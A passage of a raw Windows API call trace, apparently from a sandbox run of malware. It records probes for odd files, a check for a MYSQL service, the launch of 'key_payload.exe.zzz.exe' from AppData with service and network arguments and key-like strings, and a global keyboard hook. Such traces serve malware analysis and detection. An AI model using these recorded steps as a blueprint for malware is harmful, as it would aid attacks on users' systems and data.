GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] AreFileApisANSI () returned 1 [0198.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.070] CreateFileW (lpFileName="C:\\windows\\12344.txtt" (normalized: "c:\\windows\\12344.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.070] GetLastError () returned 0x2 [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] AreFileApisANSI () returned 1 [0198.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0198.070] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.070] GetLastError () returned 0x2 [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] AreFileApisANSI () returned 1 [0198.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355080, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.070] CreateFileW (lpFileName="C:\\windows\\12344.txtt" (normalized: "c:\\windows\\12344.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.070] GetLastError () returned 0x2 [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.071] GetLastError () returned 0x2 [0198.071] SetLastError (dwErrCode=0x2) [0198.071] GetLastError () returned 0x2 [0198.071] SetLastError (dwErrCode=0x2) [0198.071] AreFileApisANSI () returned 1 [0198.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13551d4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.071] CreateFileW (lpFileName="C:\\windows\\12355.txtt" (normalized: "c:\\windows\\12355.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.071] GetLastError () returned 0x2 [0198.071] GetLastError () returned 0x2 [0198.071] SetLastError (dwErrCode=0x2) [0198.071] GetLastError () returned 0x2 [0198.071] SetLastError (dwErrCode=0x2) [0198.071] GetLastError () returned 0x2 [0198.071] SetLastError (dwErrCode=0x2) [0198.071] AreFileApisANSI () returned 1 [0198.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135525c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.072] CreateFileW (lpFileName="C:\\windows\\12366.txtt" (normalized: "c:\\windows\\12366.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.072] GetLastError () returned 0x2 [0198.072] GetLastError () returned 0x2 [0198.072] SetLastError (dwErrCode=0x2) [0198.072] GetLastError () returned 0x2 [0198.072] SetLastError (dwErrCode=0x2) [0198.072] GetLastError () returned 0x2 [0198.072] SetLastError (dwErrCode=0x2) [0198.072] AreFileApisANSI () returned 1 [0198.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13552e4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.072] CreateFileW (lpFileName="C:\\windows\\12377.txtt" (normalized: "c:\\windows\\12377.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.072] GetLastError () returned 0x2 [0198.072] GetLastError () returned 0x2 [0198.072] SetLastError (dwErrCode=0x2) [0198.072] GetLastError () returned 0x2 [0198.072] SetLastError (dwErrCode=0x2) [0198.072] GetLastError () returned 0x2 [0198.072] SetLastError (dwErrCode=0x2) [0198.073] AreFileApisANSI () returned 1 [0198.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135536c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.073] CreateFileW (lpFileName="C:\\windows\\12388.txtt" (normalized: "c:\\windows\\12388.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.073] GetLastError () returned 0x2 [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] AreFileApisANSI () returned 1 [0198.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x13553f4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.073] CreateFileW (lpFileName="C:\\windows\\12399.txtt" (normalized: "c:\\windows\\12399.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.073] GetLastError () returned 0x2 [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] AreFileApisANSI () returned 1 [0198.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x135547c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.073] CreateFileW (lpFileName="C:\\windows\\12300.txtt" (normalized: "c:\\windows\\12300.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.073] GetLastError () returned 0x2 [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] GetLastError () returned 0x2 [0198.073] SetLastError (dwErrCode=0x2) [0198.073] AreFileApisANSI () returned 1 [0198.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355504, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0198.073] CreateFileW (lpFileName="C:\\windows\\12___3.txtt" (normalized: "c:\\windows\\12___3.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.074] GetLastError () returned 0x2 [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] AreFileApisANSI () returned 1 [0198.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355584, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0198.074] CreateFileW (lpFileName="C:\\windows\\12_______3.txtt" (normalized: "c:\\windows\\12_______3.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.074] GetLastError () returned 0x2 [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] AreFileApisANSI () returned 1 [0198.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355604, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0198.074] CreateFileW (lpFileName="C:\\windows\\123_______.txtt" (normalized: "c:\\windows\\123_______.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.074] GetLastError () returned 0x2 [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.074] AreFileApisANSI () returned 1 [0198.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1355684, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0198.074] CreateFileW (lpFileName="C:\\windows\\125673_______.txtt" (normalized: "c:\\windows\\125673_______.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.074] GetLastError () returned 0x2 [0198.074] GetLastError () returned 0x2 [0198.074] SetLastError (dwErrCode=0x2) [0198.075] GetLastError () returned 0x2 [0198.075] SetLastError (dwErrCode=0x2) [0198.075] GetLastError () returned 0x2 [0198.075] SetLastError (dwErrCode=0x2) [0198.075] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xc66db8 [0198.250] OpenServiceW (hSCManager=0xc66db8, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0198.253] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x13524c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0198.253] SetLastError (dwErrCode=0x7a) [0198.253] SetLastError (dwErrCode=0x7a) [0198.253] GetLastError () returned 0x7a [0198.253] SetLastError (dwErrCode=0x7a) [0198.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x113abc0, lpParameter=0x139a378, dwCreationFlags=0x0, lpThreadId=0xbdf368 | out: lpThreadId=0xbdf368*=0xfe8) returned 0x24c [0198.254] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0xffffffff) returned 0x0 [0224.556] GetLastError () returned 0x7a [0224.556] SetLastError (dwErrCode=0x7a) [0224.556] SetLastError (dwErrCode=0x7a) [0224.556] GetLastError () returned 0x7a [0224.556] SetLastError (dwErrCode=0x7a) [0224.556] SetLastError (dwErrCode=0x0) [0224.556] GetLastError () returned 0x0 [0224.556] SetLastError (dwErrCode=0x0) [0224.557] SetLastError (dwErrCode=0x0) [0224.557] GetLastError () returned 0x0 [0224.557] SetLastError (dwErrCode=0x0) [0224.557] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xbdf31c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbdf2b8 | out: lpCommandLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", lpProcessInformation=0xbdf2b8*(hProcess=0x274, hThread=0x250, dwProcessId=0x268, dwThreadId=0xc08)) returned 1 [0224.665] GetLastError () returned 0x0 [0224.665] SetLastError (dwErrCode=0x0) [0224.665] SetLastError (dwErrCode=0x0) [0224.665] GetLastError () returned 0x0 [0224.665] SetLastError (dwErrCode=0x0) [0224.665] SetLastError (dwErrCode=0x0) [0224.665] GetCurrentProcessId () returned 0xfc0 [0224.665] GetLastError () returned 0x0 [0224.665] SetLastError (dwErrCode=0x0) [0224.665] GetLastError () returned 0x0 [0224.665] SetLastError (dwErrCode=0x0) [0224.665] SetLastError (dwErrCode=0x0) [0224.665] GetLastError () returned 0x0 [0224.665] SetLastError (dwErrCode=0x0) [0224.665] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xbdf2c8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbdedd0 | out: lpCommandLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", lpProcessInformation=0xbdedd0*(hProcess=0x278, hThread=0x264, dwProcessId=0xc0c, dwThreadId=0x2e4)) returned 1 [0224.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1123800, lpParameter=0x139a270, dwCreationFlags=0x0, lpThreadId=0x139a440 | out: lpThreadId=0x139a440*=0xb04) returned 0x25c [0224.671] GetModuleHandleW (lpModuleName=0x0) returned 0x1110000 [0224.671] SetWindowsHookExW (idHook=13, lpfn=0x1123780, hmod=0x1110000, dwThreadId=0x0) returned 0x360113 [0224.671] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0x5) returned 0x139c338 [0224.671] LoadResource (hModule=0x1110000, hResInfo=0x139c338) returned 0x13c6e38 [0224.671] LockResource (hResData=0x13c6e38) returned 0x13c6e38 [0224.671] SetWindowsHookExW (idHook=5, lpfn=0x1150ce8, hmod=0x0, dwThreadId=0xfc4) returned 0x1000e3 [0224.672] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75130000 [0224.672] GetProcAddress (hModule=0x75130000, lpProcName="QueryActCtxW") returned 0x7514a1d0 [0224.672] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x1386368, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0xbde9fc, cbBuffer=0x8, pcbWrittenOrRequired=0x0 | out: pvBuffer=0xbde9fc, pcbWrittenOrRequired=0x0) returned 1 [0224.672] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleHandleExW") returned 0x75149fa0 [0224.672] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x1386368, phModule=0xbdea04 | out: phModule=0xbdea04*=0x1110000) returned 1 [0224.672] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xbdea0c, nSize=0x105 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0224.672] GetProcAddress (hModule=0x75130000, lpProcName="CreateActCtxW") returned 0x75154bd0 [0224.672] CreateActCtxW (pActCtx=0xbde9dc) returned 0xffffffff [0224.673] GetLastError () returned 0x716 [0224.673] GetProcAddress (hModule=0x75130000, lpProcName="ActivateActCtx") returned 0x7514c790 [0224.673] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdea08 | out: hActCtx=0x0, lpCookie=0xbdea08) returned 1 [0224.673] GetProcAddress (hModule=0x75130000, lpProcName="FindActCtxSectionStringW") returned 0x75154b20 [0224.673] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0xbde9bc | out: ReturnedData=0xbde9bc) returned 1 [0224.673] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x746d0000 [0224.673] GetProcAddress (hModule=0x75130000, lpProcName="DeactivateActCtx") returned 0x7514c770 [0224.673] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430002) returned 1 [0224.673] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec5c | out: hActCtx=0x0, lpCookie=0xbdec5c) returned 1 [0224.673] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec1c | out: hActCtx=0x0, lpCookie=0xbdec1c) returned 1 [0224.673] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x746d0000 [0224.674] GetProcAddress (hModule=0x746d0000, lpProcName="InitCommonControlsEx") returned 0x74750d20 [0224.674] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430004) returned 1 [0224.674] InitCommonControlsEx (picce=0xbdecd0) returned 1 [0224.675] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430003) returned 1 [0224.675] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec5c | out: hActCtx=0x0, lpCookie=0xbdec5c) returned 1 [0224.675] InitCommonControlsEx (picce=0xbdecd0) returned 1 [0226.373] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430006) returned 1 [0226.373] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec5c | out: hActCtx=0x0, lpCookie=0xbdec5c) returned 1 [0226.373] InitCommonControlsEx (picce=0xbdecd0) returned 1 [0226.373] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430008) returned 1 [0226.373] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec5c | out: hActCtx=0x0, lpCookie=0xbdec5c) returned 1 [0226.373] InitCommonControlsEx (picce=0xbdecd0) returned 1 [0226.373] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43000a) returned 1 [0226.373] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec5c | out: hActCtx=0x0, lpCookie=0xbdec5c) returned 1 [0226.373] InitCommonControlsEx (picce=0xbdecd0) returned 1 [0226.373] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43000c) returned 1 [0226.373] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec5c | out: hActCtx=0x0, lpCookie=0xbdec5c) returned 1 [0226.373] InitCommonControlsEx (picce=0xbdecd0) returned 1 [0226.373] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43000e) returned 1 [0226.373] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec5c | out: hActCtx=0x0, lpCookie=0xbdec5c) returned 1 [0226.373] InitCommonControlsEx (picce=0xbdecd0) returned 1 [0226.373] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430010) returned 1 [0226.374] GetModuleHandleW (lpModuleName="shell32.dll") returned 0x752c0000 [0226.374] GetProcAddress (hModule=0x752c0000, lpProcName="InitNetworkAddressControl") returned 0x7555d400 [0226.374] InitNetworkAddressControl () returned 1 [0226.374] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xbdeca0 | out: lpWndClass=0xbdeca0) returned 1 [0226.374] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCButton", lpWndClass=0xbdec54 | out: lpWndClass=0xbdec54) returned 0 [0226.374] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec14 | out: hActCtx=0x0, lpCookie=0xbdec14) returned 1 [0226.375] RegisterClassW (lpWndClass=0xbdeca0) returned 0xc1a6 [0226.375] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430014) returned 1 [0226.375] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xbdec98 | out: lpWndClass=0xbdec98) returned 1 [0226.375] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCColorButton", lpWndClass=0xbdec4c | out: lpWndClass=0xbdec4c) returned 0 [0226.375] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec0c | out: hActCtx=0x0, lpCookie=0xbdec0c) returned 1 [0226.375] RegisterClassW (lpWndClass=0xbdec98) returned 0xc1a7 [0226.375] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430015) returned 1 [0226.375] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Edit", lpWndClass=0xbdec90 | out: lpWndClass=0xbdec90) returned 1 [0226.375] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCEditBrowse", lpWndClass=0xbdec44 | out: lpWndClass=0xbdec44) returned 0 [0226.375] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec04 | out: hActCtx=0x0, lpCookie=0xbdec04) returned 1 [0226.375] RegisterClassW (lpWndClass=0xbdec90) returned 0xc1a8 [0226.375] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430016) returned 1 [0226.375] GetClassInfoW (in: hInstance=0x1110000, lpClassName="ComboBox", lpWndClass=0xbdec88 | out: lpWndClass=0xbdec88) returned 1 [0227.778] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCFontComboBox", lpWndClass=0xbdec3c | out: lpWndClass=0xbdec3c) returned 0 [0227.778] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdebfc | out: hActCtx=0x0, lpCookie=0xbdebfc) returned 1 [0227.778] RegisterClassW (lpWndClass=0xbdec88) returned 0xc1aa [0227.778] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430018) returned 1 [0227.778] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xbdec80 | out: lpWndClass=0xbdec80) returned 1 [0227.778] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCLink", lpWndClass=0xbdec34 | out: lpWndClass=0xbdec34) returned 0 [0227.778] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdebf4 | out: hActCtx=0x0, lpCookie=0xbdebf4) returned 1 [0227.778] RegisterClassW (lpWndClass=0xbdec80) returned 0xc1ab [0227.778] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430019) returned 1 [0227.778] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Edit", lpWndClass=0xbdec78 | out: lpWndClass=0xbdec78) returned 1 [0227.778] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCMaskedEdit", lpWndClass=0xbdec2c | out: lpWndClass=0xbdec2c) returned 0 [0227.778] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdebec | out: hActCtx=0x0, lpCookie=0xbdebec) returned 1 [0227.778] RegisterClassW (lpWndClass=0xbdec78) returned 0xc1ac [0227.778] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43001a) returned 1 [0227.778] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Button", lpWndClass=0xbdec70 | out: lpWndClass=0xbdec70) returned 1 [0227.778] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCMenuButton", lpWndClass=0xbdec24 | out: lpWndClass=0xbdec24) returned 0 [0227.779] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdebe4 | out: hActCtx=0x0, lpCookie=0xbdebe4) returned 1 [0227.779] RegisterClassW (lpWndClass=0xbdec70) returned 0xc1ad [0227.779] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43001b) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Static", lpWndClass=0xbdec68 | out: lpWndClass=0xbdec68) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCPropertyGrid", lpWndClass=0xbdec1c | out: lpWndClass=0xbdec1c) returned 0 [0227.779] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdebdc | out: hActCtx=0x0, lpCookie=0xbdebdc) returned 1 [0227.779] RegisterClassW (lpWndClass=0xbdec68) returned 0xc1af [0227.779] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43001d) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="SysListView32", lpWndClass=0xbdeca0 | out: lpWndClass=0xbdeca0) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCShellList", lpWndClass=0xbdec54 | out: lpWndClass=0xbdec54) returned 0 [0227.779] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec14 | out: hActCtx=0x0, lpCookie=0xbdec14) returned 1 [0227.779] RegisterClassW (lpWndClass=0xbdeca0) returned 0xc1b0 [0227.779] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43001e) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="SysTreeView32", lpWndClass=0xbdec98 | out: lpWndClass=0xbdec98) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCShellTree", lpWndClass=0xbdec4c | out: lpWndClass=0xbdec4c) returned 0 [0227.779] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec0c | out: hActCtx=0x0, lpCookie=0xbdec0c) returned 1 [0227.779] RegisterClassW (lpWndClass=0xbdec98) returned 0xc1b1 [0227.779] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b43001f) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="Static", lpWndClass=0xbdec90 | out: lpWndClass=0xbdec90) returned 1 [0227.779] GetClassInfoW (in: hInstance=0x1110000, lpClassName="MFCVSListBox", lpWndClass=0xbdec44 | out: lpWndClass=0xbdec44) returned 0 [0227.780] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdec04 | out: hActCtx=0x0, lpCookie=0xbdec04) returned 1 [0227.780] RegisterClassW (lpWndClass=0xbdec90) returned 0xc1b2 [0227.780] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430020) returned 1 [0227.780] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbdeca8 | out: hActCtx=0x0, lpCookie=0xbdeca8) returned 1 [0227.780] CreateDialogIndirectParamW (hInstance=0x1110000, lpTemplate=0x13c6e38, hWndParent=0x0, lpDialogFunc=0x1153e40, dwInitParam=0x0) returned 0x30098 [0227.971] GetParent (hWnd=0x30098) returned 0x0 [0227.971] SetWindowLongW (hWnd=0x30098, nIndex=-4, dwNewLong=18140506) returned 2007026528 [0227.971] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x30098, lParam=0xbde790) returned 0x0 [0227.971] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x24, wParam=0x0, lParam=0xbde7ec) returned 0x0 [0227.972] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x81, wParam=0x0, lParam=0xbde7e0) returned 0x1 [0227.972] ActivateActCtx (in: hActCtx=0x0, lpCookie=0xbde4a0 | out: hActCtx=0x0, lpCookie=0xbde4a0) returned 1 [0227.972] GetClassInfoExW (in: hInstance=0x0, lpszClass="#32768", lpwcx=0xbde4e4 | out: lpwcx=0xbde4e4) returned 1 [0227.972] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430022) returned 1 [0227.972] GetClassLongW (hWnd=0x90208, nIndex=-32) returned 0xc026 [0227.972] GetWindowLongW (hWnd=0x90208, nIndex=-4) 